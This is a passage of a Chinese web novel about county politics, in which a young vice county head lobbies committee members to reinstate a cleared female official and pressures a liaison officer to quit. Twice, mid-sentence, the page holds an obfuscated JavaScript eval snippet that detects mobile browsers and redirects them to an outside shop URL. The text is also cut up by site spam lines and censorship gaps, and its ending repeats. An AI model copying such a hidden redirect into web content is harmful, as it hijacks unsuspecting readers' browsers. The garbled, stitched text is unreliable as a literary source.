王革接过香烟,他和李承的想法,不谋而合。 “看来我们想到一块了,呵呵...”李承点燃香烟,深深吸了一口。 王革和李承的目标一致,将林青官复原职。 恢复她副县长的职务很容易,但想要继续保留林青管委会党工委书记的职务,需要策划。 “陈红旗大概率会搬出他的一言堂,撤掉林青在管委会的工作,他早就有这个心思了。 只是你碍了他的眼,断了他的机会。”王革用调侃的语气,说。 自从林青私自跑到省政府告状后,陈红旗便动了拿掉林青的心思,林青的前夫受贿,就是陈红旗针对林青的手段。 但因为受贿事实不清,在县委书记王革以规则的保护下,林青最终被停职调查。 王革这位县委书记虽已被架空,却也有一定的权力,可以运用规则制衡。 体制内有硬规则。 林青在停职期间,她的职务不能动。 可以有人代管她的工作,却不能直接撤掉她的职。 除非,在停职调查期间,纪委已经定性了林青的受贿问题,有实质性证据,常委会才能正式免职。 原本,陈红旗的打算,是想办法坐实林青的问题,罢免她。 李承的出现,却打断了陈红旗的计划,在李承的运作下,市纪委接管调查,陈红旗的手,插不进去。 所以,陈红旗想要罢免林青,就只能等到问题调查清楚,林青官复原职,再找理由免掉! “有一场硬仗要打了。”李承深深吸了一口烟,眼眸深邃。 关于林青复职的常委会议,将是一次针锋相对的对决。 这将是‘一言堂’本地派,和‘空降派’敌我矛盾的体现。 关于这个问题,双方都不会轻易选择妥协。 “是呀,不好办呐。” 王革无奈地摇了摇头,对此,他并不看好。 常委的票权掌握在陈红旗手里,想要保住林青,难度较大。 “我们只能打规则,程序和道义的牌。”李承弹了弹烟灰,说。 “问题是,陈红旗他不讲道义呀,规则掌握在权力的手里。”王革耸了耸肩。 如果道义有用,他也不会是今天这个被架空的下场。 “嗯....” 李承沉吟了两秒,他也清楚,若是陈红旗执意撤掉林青,他们的胜算不高。 所以,还需要运作。 “这场会议,搁置到明天再召开,明天与原林装饰签约,等签约落实的。”李承说。 在签约之前,李承还不想跟陈红旗加深矛盾。 陈红旗作为一言堂县长,想要搞垮这次签约,非常容易。 只需要一句:‘项目有风险,暂缓签约。’就能做到。 当然,陈红旗轻易不会那么做,这是杀敌一千自损一千的行为。 产业园区的招商落地,是省,市,格外关注的项目。 陈红旗阻拦,对于李承来说,最多是暂缓签约时间,让企业对政府再次丧失一定的信任。 可一旦李承将此事上报,以李承的人脉,陈红旗要面临的后果,未必是他能接受的。 只不过,李承也担心陈红旗狗急跳墙。 暂缓一天,先把签约落实,还能抽出一天时间,给林青争取一下选票。 林青的问题,可以上升到上级组织。 质疑上级,那就是碰了政治高压线,陈红旗敢碰,其他常委未必敢? 而且,里面还有政治利益的分配。 “嗯,可以。” 什么时间开这场会议,王革这位县委书记还是有权决定的。 ...... 步行回到县政府办公楼。 李承敲响了常务副县长办公室的门。 在到访之前,李承提前跟崔学文发过微信。 “崔常务。” 李承进门,打了一个招呼。 “李县长可是稀客,今天怎么有时间到我这里来。” 崔学文从办公椅上起身,走到会客沙发,做出请坐的手势:“坐。” “这不明天原林装饰要与园区签署落地合同,我想请崔常务去帮我撑撑场面,主持一下工作。” 李承对崔学文发出邀请。 撑场面,主持工作,那都是场面话。 说到底,这是一个示好。 “陈县长去吗?”崔学文问。 “我给陈县长发过微信,他不去。”李承说。 给陈红旗是微信敷衍,对崔学文是亲自拜访邀请,重视程度高下立判。 “既然李县长都亲自登门邀请了,我也不能拒绝呀,哈哈哈,什么时间?”崔学文问。 “明天上午十点。” “知道了,我会去。” “常务,晚上有时间吗?我们一起喝点,上次人太多,喝得不够尽兴啊。” 李承邀请崔学文单独喝酒,是想动摇他和陈红旗在林青问题上的决策。 大事上,这些本地派有洪老书记压着,崔学文和陈红旗会保持一致。 这种小事上,李承还是有可能动摇他。 “今晚怕是不行,有约了,改天的。”崔学文婉拒了李承。 今晚,他没有约,只是今晚较为敏感。 林青调查结果出来的消息已经传开,他要避嫌。 “嗯,好,等你时间方便的。” 李承微微一笑。 他主动到访,而不是电话邀请,就是想到了被拒绝的结果。 既然对方拒绝了饭局,李承也乐意省下一笔钱,干脆就是办公室摊牌。 “崔常务,林青同志的调查已经查明,她是清白的,这件事你听说了吗?” 李承直接推进话题,问。 “哦,有耳闻。” 崔学文一副对这件事兴致不高的态度,敷衍回答。 “你对林县长官复原职的事情怎么看?觉得她还值得胜任管委会党工委书记一职吗?” 李承的询问是中性的,没有表明自己的立场。 但大家也都知道,李承那么努力的帮林青,一定希望林青回到管委会。 “目前而言,我仍觉得林青同志是最合适人选。” 第338章 反差 崔学文并没有否定林青。 可他的这番话,实际上和废话没什么区别。 重点在‘目前而言’四个字上。 目前林青是最合适人选,等下次常委会议上,陈红旗提议了谁,谁可能就是他眼里更合适的人选。 他的话,完全是为了敷衍李承,这一点,李承听得出来。 “常务,不是目前而言,是整个县委县政府的领导班子里,就没有比林青更合适的人选。 从管委会建设那天,就是她一直在主抓工作,全县没有人比她更了解产业园区的情况。 现在产业园区招商进入紧迫阶段,临阵换帅是大忌呀。” 李承极力地推荐着林青。 这些话,同样是废话,因为崔学文根本不会在意这些。 但这些话,也是必须要说的废话。 “嗯,组织上也会将这一点纳入考虑范畴中。”崔学文继续讲着官话,态度模棱两可,就是不接茬。 “常务,林青同志能否重回常委会,预示着什么,您应该也很清楚。”李承话锋一转,语气放缓,抛出一个钩子。 “我不太清楚,你直接说,这里没外人。”崔学文摇了摇头,他确实没太懂。 李承不紧不慢地掏出香烟,他没有递给崔学文。 因为崔学文不抽烟。 在一位不抽烟的常务副县长办公室里抽烟,是一个很不礼貌的行为。 这一点,李承清楚。 他是故意的,这是一种心理博弈的方式。 ‘哒’ 打火机的声音在办公室内响起,一缕烟雾飘起。 李承深深地吸了一口,吐出烟雾,身体靠在沙发上,表现出一副慵懒的模样。 仿佛,他才是上级。 “常务,省里有多重视这个项目,你没去过省里了解,并不清楚,但是我清楚。 说句难听点的话,现在的产业园区,远远偏离了省里的预期,被搞得乌烟瘴气。 省里投了这么多钱,搞成这个德行,到最后,跑不了谁。” 李承抽着烟,说起话来慢条斯理。 他什么话都没有说透,也没有点谁名,道谁姓,但话中意思,崔学文听得明明白白。 “常务,说实话,我觉得你有进一步的空间,没必要一直跟着蹚浑水。” 李承直接将烟灰弹在了地上,夹香烟的手,还指了指崔学文。 态度变得傲慢起来。 这就是李承要的效果。 他的态度端正太久了,以至于很多人忽略了他的背景。 同为大领导秘书,为什么很多人怕张英双,却不怕当初的李承呢? 这跟服务于哪个领导没关系。 而是张英双够傲,他越傲慢,张扬,反而那些人越怕他,觉得他有恃无恐。 李承行为低调,一些人就会猜测,是不是李承跟领导的关系不近,从而出现怠慢。 在这个节骨眼,李承必须要拿出有背景的领导,该拿出来的架子,才能吓唬住对方。 崔学文沉默着,他的双眼死死盯着李承,没有作答。 李承没有等待他的回答,他将还剩小半截的烟丢在地上,站起了身:“你考虑一下。” 说完,李承迈步离开。 在迈步时,那根燃烧的烟头,刚好被他的皮鞋踩灭。 坐在沙发上,崔学文看着紧闭的房门,空荡的房间,发呆了很久。 李承刚刚的话,传递了几个重要消息,让他不得不深思熟虑。 第一,李承有背景,他是否知道一些内部消息? 第二,陈红旗在风林县过于嚣张,他也认为,迟早有一天陈红旗要被收拾,要不要继续与狼共舞? 第三,李承说他有进一步的空间,这句话的意思,是不是李承能帮到他升任县长呢? 这一刻,崔学文仿佛突然明白了李承那句:林青同志能否从回常委会,预示着什么,你应该清楚。 林青的问题,预示着一场掀桌子式的政治立场分割! ..... 为了感谢李承的帮助,晚上,林青特意做了一桌子饭菜,宴请李承。 原本,林青是想请李承去饭店吃饭的。 但上次,李承夸赞过她做饭好吃,还无意间说喜欢吃家常菜,林青这才决定自己下厨。 ‘咚咚咚...’ 李承下班后,来到了林青的家里。 敲门声响了十几秒,林青将房门打开,冲李承温柔一笑:“李县长,你来了。” 说着,她拿出一双男士拖鞋,递到李承脚下。 “不是工作场合,不用称呼职务,叫我李承就行。” 李承换上拖鞋,走进了餐厅。 在楼道里,他就闻到了饭菜的香味,看着满桌子的菜,李承说:“怎么弄这么多菜,我们两个人吃不完。” 这是一句客气话。 李承每天工作繁忙,根本没时间自己做饭。 除了吃食堂,就是泡面和外面小摊,他早就吃腻了,就想吃一口家里的饭菜。 对于这一桌子菜,李承有些迫不及待。 “你帮了我这么大的忙,我当然要好好感谢你了。”林青拿出一瓶红酒,说:“喝一点吗?” “嗯,好菜当然要配酒。” 李承没有拒绝,他主动从林青手里接过红酒,用开瓶器打开。 林青拿了两个酒杯过来,在李承倒酒的工夫,她摘下了做饭的围裙。 没有了围裙的遮挡,林青里面的青蓝色衬衫露出了出来。 当看到这一幕时,李承目光情不自禁地顿了一下。 女生穿衬衫,本身就充满了性张力,尤其是林青这种干练型女强人,更能凸显这一特性。 而让李承目光停留的,是林青上面那几颗解开的纽扣。 没有纽扣的束缚,她洁白的皮肤和深沟般的锁骨,给原本干练,增添了几分妩媚。 那是一种反差极强的感官碰撞,一念冰川,一念烈火... 让人会情不自禁地升起探索欲。 “不好意思,刚才厨房太热了。” 感受到李承的目光,林青下意识地看了一眼,连忙伸手系上纽扣。 “没事。” 李承也意识到自己的失态,连忙转过头。 两个人相对而坐,林青脸上带着一抹淡淡的羞红,她端起酒杯:“李承,谢谢你的帮助,没有你出现,我不知道该怎么办,会是什么结果....” 第339章 小女人 林青对李承的感激,发自内心。 除感激之外,她对李承也有一些说不清道不明的情愫。 可能是喜欢,也可能是安全感,她分不清.... 李承的两次出手,都是在她最落魄的时候,给予了她温暖。 第一次是在汉江,当她在寒冷的冬天,站在省委大院门口等了那么久,最终却被张英双几句话打发掉时,她很失望。 是李承邀请她去了办公室,给她倒了一杯热水,带她见了孟良德。 那杯热水的温暖,她至今记忆犹新。 第二次,则是她被纪委调查。 那是她人生中,最无助,最悲伤的时刻。 她付出了很大的努力,才到了副县长这个职位上,她工作兢兢业业,却被诬陷,扣上了贪腐的帽子,被停职调查。 而出卖她,导致她被抓,险些丢了仕途,甚至可能锒铛入狱的人,是她曾最信任的男人。 在那种绝望时刻,李承出现了。 是李承通过关系,还了她一个公道,让她洗脱冤屈。 林青是一个女干部。 女性给人的感觉,就属于弱势群体,所以,女性想要管理男人,就需要表现出强硬的一面,甚至要比男人更强硬,更雷厉风行,才会被人信服。 这些年的工作里,林青一直在伪装自己。 县里的人,都说林青脾气暴躁,是公认的火药桶,母老虎。 可这些,都是她的伪装。 在伪装之下,她也有小女人的一面,也需要被照顾,关心和安全感。 恰恰,李承给她提供了,她最缺乏的安全感。 可林青也很清楚,她和李承只是同事关系,不可能有进一步的发展。 李承年少有为,意气风发,女朋友是省电视台的知名主持人。 可她比李承大了十岁,虽风韵犹存,毕竟结过婚,生过孩子.... “林姐,组织不会冤枉任何一个好同志,你很廉洁,就算我不来,结果也是一样的。” 李承跟林青碰了一下杯,微笑说。 林青微微点头,扬起脖颈,喝了一大口红酒。 “李承,我还有机会回管委会吗?” 林青甩出脑子里的胡思乱想,问起工作。 陈红旗不想让她回管委会,这一点,她深知。 如果她回去,会跟李承牢牢的站在同一战线,不利于陈红旗对管委会的把控。 撤掉她,推举一个新的党工委书记上台,制衡李承,这才符合陈红旗的利益。 “有,具体看明天常委会的决策。” 李承也没什么把握,说这话时,明显底气不足。 十一个常委里面,目前来讲,李承最多能拿到四票。 县委书记王革,县委办主任冯刚,宣传部长宁文静以及他自己。 最起码,他还要争取到两票,才能有胜算。 崔学文是一个不确定因素,李承不能把希望寄托在他的身上。 他要保住林青的党工委书记一职,而不是用林青职务去赌。 “林姐,我跟你打听个人。”李承岔开话题,切入他此行的另一目的。 “你说。” “咱们县,是不是以前有个专职副书记,姓石?” 自己夜跑时认识的这个老书记,说不定能在这件事有奇效,可以帮到自己。 抱着试一试的心态,李承想对他有深度了解。 “是,石文海老书记,你认识他?”林青诧异。 石老书记已经退休多年,按理说,李承这位空降过来的副县长,政府各个部门的负责人都认不全,怎么会认识他呢? “嗯,见过一面,他是个怎么样的人?”李承问。 石文海给他的感觉,是一个很正直的干部。 可这都是石文海的表现,李承不能听信他的一面之词。 哪个贪官也不会承认自己是贪官。 所以,李承要从林青的口中,对他进行了解。 “很有底线的一位领导,也挺有个性的,听说十多年前,因为一个决策的意见不合,他还在办公室指着洪书记鼻子开骂呢。 但我对他的了解不多,他退休的时候,我还不是副县长。” 林青分享了一个,她听说过的,关于石文海的趣事。 洪老书记,那是风林县本地派系和‘一言堂’执政的开创者。 敢指着洪老书记骂,还能一直担任全县三把手,李承觉得,这个石文海也不一般。 “现在的常委里面,有没有他带出来的人?”李承问出关键。 他想找石文海,无非就是让他撮合撮合,拉一张票。 “政法委书记辛磊,以前就是石书记的老下属。”林青想了想道。 她意识到李承想要做什么,忍不住的又追问一句:“你不会想让石书记拉选票吧?” “对呀。”李承点头。 “风林县的水这么深,他都退休了,估计不会再干涉了。”林青摇了摇头,对此,她觉得没什么希望。 石文海已经退休了,再参和进来,对他没什么好处。 就算石文海愿意帮忙,人走茶凉,辛磊这个老部下未必给他面子。 “总要试一试才知道。”李承抿了一口酒:“尽人事,听天命呗。” “嗯..那好。” 两个人边喝边聊,将这一整瓶红酒喝光。 对李承的酒量来说,别说是跟林青分着喝,就算他自己喝一瓶红酒,也不算什么。 可林青似乎并不胜酒力,半瓶红酒下肚,全身的皮肤泛红。 看起来很烫.... 离开林青的家,李承拿起电话,拨通了联络员王平的号码。 ‘嘟..嘟..嘟...’ ‘对不起,您拨打的电话暂时无法接通...’ 不接? 李承听着电话中的忙音,轻哼了一声,继续拨打。 ‘嘟..嘟..嘟...’ 这一次,电话响了将近半分钟,对方才接通:“喂,李县长?” 王平的声音里带着酒气,并且,已经到了喝醉的程度。 “怎么才接?” 李承带着质问的语气,问。 李承不是针对他,他也是被赵兵安排过来的。 但他要整治赵兵,赵兵安插过来的人,也必须连带整治。 安排联络员是政府办的职责,既然赵兵这个办公室主任要卡李承,李承就要把他安排的人,全部逼走! 第340章 各处拉票 “刚才去洗手间了,没有第一时间听到。”面对李承的质问,王平解释道。 “你作为联络员,手机要保持二十四小时畅通,这一点你不知道吗?赵兵说你有多年的联络员经验,这一点还用我教你?” 李承语气中带着呵斥。 王平年纪比他大很多,算是他叔叔辈分的了。 但工作就是工作,只看职务,不看年龄。 李承为了达到自己的目的,对待他,必须要进行鸡蛋里挑骨头的处理方式。 “我知道,李县长,您有什么吩咐?”王平低声下气地问。 被一个比他儿子大不了几岁的年轻人这般呵斥,王平心里也不好受。 可工作性质在这里摆着,他没办法。 “你喝酒了?”李承问。 “额那个,今天我老妈过生日,跟家里人喝了一点。”王平说。 原则上,下班时间可以喝酒。 但联络员的工作性质特殊,需要二十四小时保持领导的工作部署能到位。 要‘避开随时可能被领导叫’的时候喝。 王平喝酒,属于撞在李承的枪口上。 “喝完了吗?”李承严肃地问。 给母亲过生日喝酒,这是人之常情,无论这个解释是真是假,李承并没有挑这个理。 “喝完了。”王平道。 “那我的演讲稿,什么时候交给我?”李承问。 “什么演讲稿,您没部署过演讲稿的工作安排呀?”王平诧异。 “明天是管委会和原林装饰的签约仪式,你不知道吗?”李承冷哼一声。 “可是,您没有部署。” 王**问,他也察觉到了,李承就是在故意找茬。 “你在质问我?到底咱们谁是秘书,什么时候需要演讲,你不知道吗?就算你拿不准,不知道请示一下吗?” 李承严厉地训斥着。 李承不是一个刁蛮无理的人,他装出这副样子时,自己都觉得有些过分。 但这也没办法,谁让他倒霉! “我我现在写。”王平态度良好,连忙说。 “尽快给我!”说完,李承挂断了电话。 步行回到宿舍小区,李承在楼下的水果超市,买了一些水果。 他并没有进入自己所在的那幢楼,而是去了一号楼。 他还要见一个人。 ‘咚咚咚’ 站在门口,李承敲响了门。 “谁呀?” 你的朋友正在书荒,快去帮帮他吧 里面传来一个中年妇女的询问声。 “李部长在家吗?我是县政府李承。李承自我介绍。 ‘咯吱’ 那边迟疑了十几秒后,房门打开。 “你好嫂子,我找李部长。李承看着中年妇女,微笑说。 “你好,进吧。 妇女让开路,示意李承进门。 李承将水果递给女人,这才换上拖鞋。 去别人家拜访,空着手不符合礼仪。 “李县长,来就来呗,买东西干什么。 正在看电视的李春生,从沙发上站起身,迎接李承。 李承要拜访的人,正是**部长李春生。 李春生和李承一样,都是空降的。 县里给他们这些‘空降’领导安排的宿舍,在同一个小区里,李承知晓他家的住址。 “小丽,去沏壶茶过来。李春生对他老婆交代道。 “哦。 女人不情不愿地应了一声。 “不用麻烦了嫂子,我跟李部长聊会天就走,这么晚喝茶也睡不着觉。李承婉拒。 在李春生的邀请下,坐在了沙发上。 “那就喝杯水吧。 中年妇女给李承倒了一杯水,然后对李春生说:“你们聊吧,我先睡了。 “李县长,你这么晚来找我,不是闲聊吧?李春生淡笑着问。 “当然不是。 李承很直白地告诉了对方,没有半点做作:“我这次来,就是想请李部长在**同志的工作恢复上,给予支持。 作为**部长,他除非县委**那一票之外,没什么实权在手,在这个穷县城,他这个职位就是花架子。 而且,他又是一个‘空降’干部,在本地没根基。 他一直想要融入陈红旗的圈子里,也在积极的表现,但对方压根不拿他当回事。 放眼所有支持陈红旗的**中,李春生是最容易被动摇的人。 “纪委调查清楚了,恢复职 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312519|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位没问题呀,哪还需要我的支持?李春生问。 的确,纪委调查清楚,按照流程,**恢复职务没问题。 问题的关键在于,陈红旗大概率会拿**做文章,提议换掉**。 这就需要**会的投票表决。 “当然需要了,你也是县委**,若是涉及投票,您那一票可能起到决定性的作用。 李承直白的讲。 “呵呵..李县长就别抬举我了,我这一 你的朋友正在书荒,快去帮帮他吧 票投在哪都改变不了什么。”李春生摆了摆手,说。 “不一样。” 李承微微摇头,淡淡地说:“陈红旗那边不需要你,我需要,他不重视你,我重视,这就是区别。” 李承既是离间,也是在表明态度。 但仅凭这两句话,就想改变李春生的想法,显然是不现实的。 需要加码。 让李春生看到利益。 “李部长,我说话直接,你别觉得难听,你一个副处级干部,平调到风林县当**部长,这是明显的边缘化,是被组织淘汰下来的。 你那么积极的靠拢陈红旗,不就是不甘心吗? 但你应该也知道,本地派系那么多人,就算挪动的机会,也永远落不到你头上。” 李承说得够直接,也够难听。 可他说到了李春生的心坎里。 在来风林县之前,他是容城市的一位副局长,副处级干部。 被调到风林县,虽成为了县委**,但属于平调降职。 因为**部长没实权,工作性质问题,是一个晋升空间狭隘的职位。 他死皮赖脸的向陈红旗示好,就是不甘心,想挪动职位,最起码挪到**副县长上。 毕竟,他才四十七岁,还有上升空间。 与其跟着陈红旗屁股后面等着‘捡食吃’,不如靠向李承,去赌一把。 “李县长,不是所有人都有你的好运气,能给省长当秘书,我再走错一步,就真的难出头了。” 李春生知道赌一把,希望更大。 可是不赌,在他看来更稳妥。 “不试试吗?”李承盯着李春生的眼睛,问。 “我考虑考虑。” 第341章 请教姿态 回到家里。 李承洗漱过后,躺在床上看起了《道德经》。 ‘叮’ 正当李承细细品味着那句‘有无相生,难易相成,长短相形,高下相倾’时,微信响起。 李承拿起手机,看了眼时间,晚上十点半。 这条微信是王平发来的演讲稿。 演讲稿写得很系统,属于那种万金油版本,适配,不出错,但也不出彩。 按照这个演讲稿发言,可以用。 李承按住语音键,开始对这篇演讲稿进行点评,准确的说是批评,是挑刺! “你这篇演讲稿完全就是套路稿,照搬照抄的,既没有体现身份感,对管委会的定位也不突出,承诺太虚,不够真实。 语言偏软,力度也不足,给我改! 李承松开语音键,语音发了出去。 【好。】 半分钟后,王平回了一个好字。 “我明天还有重要工作,你多写几篇出来,我明天早上看。 次日。 李承六点准时起床。 他拿起手机,看着演讲稿的发送时间,凌晨两点十三分。 这证明,王平加班到了这个时间。 对于王平的心血,李承只是扫了一眼,立马给他打去电话。 “李县长。 电话响了十几秒,王平迷迷糊糊的接听。 “你第三个稿子还凑合,但是,还有很多地方需要改,缺乏了政府的态度,结尾太普通,没有号召力,项目的意义价值也没有写清楚,抓紧。 李承对他催促道。 “哦知道了。王平无奈的应了一声。 挂断电话,李承开始洗漱。 其实,他对王平的态度相对满意,怎么安排怎么做,也没有脾气,他是一个联络员的合适人选。 但李承不能用他。 第一,他年纪大了,不可能长时间跟上李承的工作量。 第二,他是赵兵安排的人,刘婷已经给李承搞出阴影了,李承不允许自己的联络员成为别人的眼线。 第三,李承也看了王平写的稿子,说实话,李承看出他的努力,但他写的东西,不符合李承的心意。 太过于老套,跟不上新时代,新理念,还是上一代的演讲套路方式。 换好衣服,李承步行去了附近的早市。 那边有早点摊,李承偶尔吃腻了食堂的早餐,就会去喝一碗豆 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 腐脑,吃点筋饼。 “呀,你不是那个小李同志吗?” 李承正埋头吃饭时,一道年迈的声音从耳边响起。 李承抬起头,看到石文海端着一个装饼的盘子,正站在自己面前。 “石老,这么巧呀。” 李承连忙站起身,向对待领导的态度一样恭敬热情。 “一个人啊?”石老问。 “是。” 李承点头,笑呵呵的说:“我还准备最近有时间去拜访您呢,没想到在这里又遇见了,咱爷俩有缘分呀,一起呗。” “是呀,我跟你小子有缘。”石文海坐在李承的对面。 李承本打算今天中午就去石文海家里,没想到在早餐店遇见了。 索性,接着这次机会,他准备把事情说了。 早餐摊人多,不适合谈事,只能随意闲聊。 “老板,结账,我们俩人。” 李承先石老一步放下筷子,拿出手机扫码付款。 “不用,我自己来就行。”石老婉拒。 “石老,刚才跟您学到的经验,可不是一顿早饭就能买到的,我占了大便宜,呵呵呵.” 李承笑着付了款,两个人一同走出早餐摊,散步在街道上。 时间还早,李承并不急着上班。 而且,他是副县长,也没有人管他几点到岗,不耽误工作就行。 “石老,还有一件事,让我最近很犯愁,想跟您请教请教经验,希望您能为晚辈指点迷津。” 李承走在石文海的身旁,以后辈的谦卑姿态,向石文海请教。 针对不同的人,就要有不同的应对方式。 李春生是那种不甘心,想要更进一步的人,对付他,就要让他感受到甜头,让他认为,跟着李承可以挪动岗位,他才会动摇。 而石老已经退休了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312520|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他不在意什么权力和利益。 现在的他,最在乎的是被人敬仰,被人尊重的感觉,是满足他作为前辈的虚荣心。 更多的,是一种情绪价值上的体现。 这是人走茶凉后,大部分退休老干部的特点。 “谈不上指点,你们年轻人的思想比我这个老骨头前卫,你说吧,我试着帮你分析分析。”石老的双手背在身后,长者架子十足。 他嘴上谦虚着,那种不经意间透露的眉开眼笑,证明他内心的真实满足。 “是这样,我们管委会的党工委****,之前****” 接下来,李承将事情的来龙 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 去脉,以及**为人的正直说了出来:“**这个同志,在面对一言堂时,敢于只身一人跑到省里告状,这份魄力让人钦佩。 这种无畏强权的勇气,是这个时代最缺乏的,像这种干部太少了。 她是一个好同志,纪委也为她洗脱了清白,但她得罪了一言堂,我就在想,怎么能把我留在党工委**的职务上。 想了很久都想不通,所以特意想跟您请教。” 李承特意强调了**去省里告状,‘无畏强权’的行为。 这是为了让石文海对她惺惺相惜。 因为曾经的石文海,也敢在办公室里骂一言堂的洪**。 李承夸赞这种行为,也是在变相了称赞他。 但李承不能提他,那样显得刻意。 “这个女同志跟我很像,当初在安置罐头厂下岗工人时,洪明德以财政吃紧为借口,准备对这些工人放任不管。 涉及到几百个家庭的生计,哪能说不管就不管,那叫什么领导干部! 为此,我跟他在办公室差点打起来,呵呵呵.一晃,已经过去十多年了。” 石文海自己提起了当年的英勇事迹,感叹道。 他内心很渴望得到恭维和赞许,才会主动提起。 “石老,听说当年的洪**可比陈县长要厉害的多,您敢跟他公然唱反调,这比**还要有魄力的多,唉说句惭愧的话,换做是我,我不敢。” 第342章 签约 李承通过贬低自己,抬高石文海的方式,让石文海心花怒放。 看着这位老人的笑容,李承继续道:“石老,您说有没有什么好办法,能够保住她呀? 我**经验太少,实在是想不出什么。” 李承看似是请教他的建议,说到底,无非是想以这种方式,争取到他的帮助。 看看他能不能看在风林县的发展,自己对他的吹捧,以及他和**的惺惺相惜下,给予一定的支持。 “讲规则,谈利好,只要将规则运用明白,就算是一言堂领导,也不敢跟你对着干。 洪明德在规则之下,到最后也妥协了。” 石文海语气坚定。 看似,他在给李承指路,实则,他指的路,并没有实际效果。 他这么短时间内能想到的,李承也都想得到。 石文海毕竟是一个处级干部,虽说,他有多年官场的深耕经验,但他的**眼界就在那里。 比李承高不出多少。 即使他摆出一副经验老道的架势,却拿不出孟良德那种一两句话就能让人豁然开朗的高度。 “石老,洪**跟陈县长不一样,洪**至少是风林县的政一代,陈县长属于继承者,他们之间的格局有本质不同。” 李承苦笑一声:“跟陈县长讲规则,没用,票权在他手里。” 李承最后一句话,就是在暗示石文海,自己要票。 “如果他以票压人,那是他自绝后路,早晚要被收拾的。”石文海轻哼一声,说。 “这两天我也做了争取,我和王**加在一起,跟他们的差距不算大,还是有机会的。 总不能让这么好的一位同志被埋没了,产业园区的发展,需要她。” 李承看出石文海在装傻充愣,不想参合,于是他说得更加直接了一些。 “他们也不是一团和气,只要你把规则讲明白,有机会,别气馁。” 石文海冲李承宽慰一笑,说:“时间也不早了,你就别陪我这个老头子遛弯了,工作要紧。” “嗯,那我先回去了。” 李承看了一眼时间,点了点头。 李承的想法,石文海心知肚明。 石文海的拒绝,李承也看得出来,所以他也没再坚持。 “唉” 看着李承离去的背影,石文海长叹了一口气。 他心里想帮李承,离开岗位这么些年,能记得他这位老**的人,不多了。 李承的恭维,填 补了他空虚的心。 但是,他的骨子里有一份自欺欺人的傲慢。 他怕他开口后,自己的老部下会拒绝,会不给他这位老领导面子,那样,他的傲慢会被击碎。 不开口,他还可以认为自己是德高望重的老**。 如果开口了,被拒绝了,他就必须要承认,他就是一个人走茶凉后,无人理睬的糟老头 回到管委会。 王平找到李承,他将改正的演讲稿打印出来,准备当面跟李承商量。 “李县长,您看看这份演讲稿,可以吗?” 王平双手奉上,态度恭敬。 心里面,他对李承的针对不满,但他工作这么多年,还是能摆正位置。 李承接过演讲稿,看都没看一眼就放在了旁边:“马上签约了,合同你看过了没有?” “看过了,没问题。”王平说。 作为联络员,合同出来后,他需要先过目,再递交给李承。 “我怎么到现在还没有见到?”李承冷声问。 “情况是这样的,合同昨天下午才出,您那时候不在管委会,综合办说给您看过电子版合同,我就没打扰您。”王平解释道。 的确。 合同拟定出来后,综合办公室就给李承发来了电子版。 对于这份合同,李承逐字认真看过,没有问题,一切都按照李承的要求执行的。 王平做的也没什么大错。 电子版李承都看过,李承又在县委县政府会见其他领导,他不打扰也没什么问题。 可问题就出在,李承要找他的岔。 人无完人,上级只要想找茬,想刁难,随随便便就能找到理由和借口。 欲加之罪,何患无辞? “电子版是电子版,今天签约用电子版吗?如果电子版和纸纸版不符,责任你担吗?” 李承连番质问,怼得王平哑口无言。 从王平的表情,李承能够明显感觉到对方的愠怒,但他不敢还口。 “李县长,我这就去给您拿过来。” “嗯。” 得到李承的许可,王平走出办公室。 出了办公室,王平拿出香烟点燃了一支,来压制他心中的火气。 抽完这根香烟,他拿起手机拨通了政府办主任赵兵的号码:“赵主任,这个工作我做不了,你换个人吧。 我这个年纪,经不住他的折腾。” 王平知道,李承故意针对他,无非是想逼着他自己走。 作为联络员,配合县长工作是他的职责。 配合工作,他就要经得住李承的折腾,经得住骂。 不配合,那就给了李承顺理成章撵走他的借口。 与其在这受苦受累被赶走,不如自己离开。 上午十点。 管委会和原林装饰的签约,正式在会议室内完成。 陈红旗没有到场,但常务副县长崔学文来了。 签约十分顺利,县电视台记者也全程记录,这件事,是要登报的。 “陆总,合作愉快。” 签完字,李承盖上管委会的公章,起身跟陆原握手。 “李县长,合作愉快。” 陆原跟李承握了一下手,微笑点头。 这一握手画面,被记者拍摄记录。 “常务,我们一起合个影吧。”李承对崔学文邀请道。 “好。” “您站中间。”李承示意崔学文站在C位。 中间的位置,代表着这场合作的主角,这是带着功绩性质的合影。 “我又没做出什么贡献,李县长,你来吧。”崔学文谦让道。 “你是领导,哪有让领导站两侧的道理。” 在李承的强烈要求下,在合影中,常务副县长崔学文站在了C位。 原林装饰CEO陆原和李承,分别站在他的左右两侧。 随着‘咔擦’一声快门响起,这场合作仪式宣告完成。 作为联络员,配合县长工作是他的职责。 配合工作,他就要经得住李承的折腾,经得住骂。 不配合,那就给了李承顺理成章撵走他的借口。 与其在这受苦受累被赶走,不如自己离开。 上午十点。 管委会和原林装饰的签约,正式在会议室内完成。 陈红旗没有到场,但常务副县长崔学文来了。 签约十分顺利,县电视台记者也全程记录,这件事,是要登报的。 “陆总,合作愉快。” 签完字,李承盖上管委会的公章,起身跟陆原握手。 “李县长,合作愉快。” 陆原跟李承握了一下手,微笑点头。 这一握手画面,被记者拍摄记录。 